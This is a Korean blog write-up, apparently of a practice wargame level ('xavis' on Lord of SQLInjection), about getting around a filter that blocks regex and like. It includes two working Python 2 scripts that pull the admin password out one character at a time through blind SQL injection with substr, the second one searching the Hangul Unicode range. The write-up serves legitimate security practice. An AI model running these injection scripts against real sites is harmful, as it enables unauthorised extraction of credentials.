[LOS] Level18: xavis

두비니

·

2020. 1. 16. 03:03

 

Lord OSQLInjection: lv.18 xavis

 

 

 

 

xavis입니다. 

pw로 prob | _ | . | () | regex | like 사용을 못하게 하였고, pw를 찾아야하네요.

 

이 문제는 regex와 like를 못쓰게 하였는데,

우리는 원래 substr을 사용하므로 상관없습니다.

 

 

import httplib

headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=bqm5el8gbhaa4o89h7h458i5sd'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
    for j in range(32, 128):
        conn.request('GET', '/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20or%20substr(pw,'+str(i)+',1)='+str(j)+'%23','',headers)
        r1 = conn.getresponse().read()
        if "Hello admin" in r1:
            pw += chr(j)
            print pw
            break

 

이렇게 했는데 안풀리더라구요....

아무리 해도 안나와서 이 범위가 아닌가? 라는 생각을 했습니다.

 

los.rubiya.kr <<<< kr이므로 유니코드가 비밀번호가 아닐까싶어서 해봤습니다.

AC00 - D7AF가 유니코드의 범위입니다. 근데 저건 검증해야하는 문자가 10000개가 넘기때문에 저걸 하나하나 검증하고 앉아있으면,,,,한글자당 10000개를 검증하는 신나는 일이 생깁니다ㅎ,,,,,

따라서 저세상세월이 걸리게되는데 저는 급한 한국인이기때문에 범위를 나눴습니다.

 

 

import httplib

headers = {'Content-Type':'application/x-www-form-urlencoded','Cookie':'PHPSESSID=bqm5el8gbhaa4o89h7h458i5sd'}
conn = httplib.HTTPSConnection('los.rubiya.kr',443)
pw = ''
for i in range(1,10):
    for j in range(0xAC00,0xD7B0,0x100):
        conn.request('GET','/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20or%20id=%27admin%27%20and%20substr(pw,'+str(i)+',1)<%27'+unichr(j).encode('utf8')+'%27%23','',headers)
        r1 = conn.getresponse().read()
        if 'Hello admin' in r1:
            print '[*]range: '+str(hex(j-0x100))
            break
    for h in range(j-0x100,j):
        conn.request('GET','/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20or%20id=%27admin%27%20and%20substr(pw,'+str(i)+',1)=%27'+unichr(h).encode('utf8')+'%27%23','',headers)
        r1 = conn.getresponse().read()
        if 'Hello admin' in r1:
            pw += unichr(h)
            print pw
            break

 

참고로 unichr함수는 hex값을 유니코드 문자열으로 바꿔주는데, 이걸 encode('utf-8')로 인코딩까지 해주면 한글문자로 바뀌게 됩니다. 위 코드는 그걸 이용한 것이구요.

 

 

아아아 그리고 참고로 이 코드는 python 2.7.15까지만 적용됩니다. 이 이상부터는 왜인지 모르겠는데 에러가 터지더라구요.

 

 

우왕굳,,,,

 

 

 

진짜 어려운 문제 중 하나였습니다!

다음!

 

 

'War Games > Lord of SQLInjection' 카테고리의 다른 글

[LOS] Level19: dragon  (0) 2020.01.17
[LOS] Level17: nightmare  (0) 2020.01.15
[LOS] Level16: zombie_assassin  (0) 2020.01.14
[LOS] Level15: succubus  (0) 2020.01.13
[LOS] Level14: assassin  (0) 2020.01.12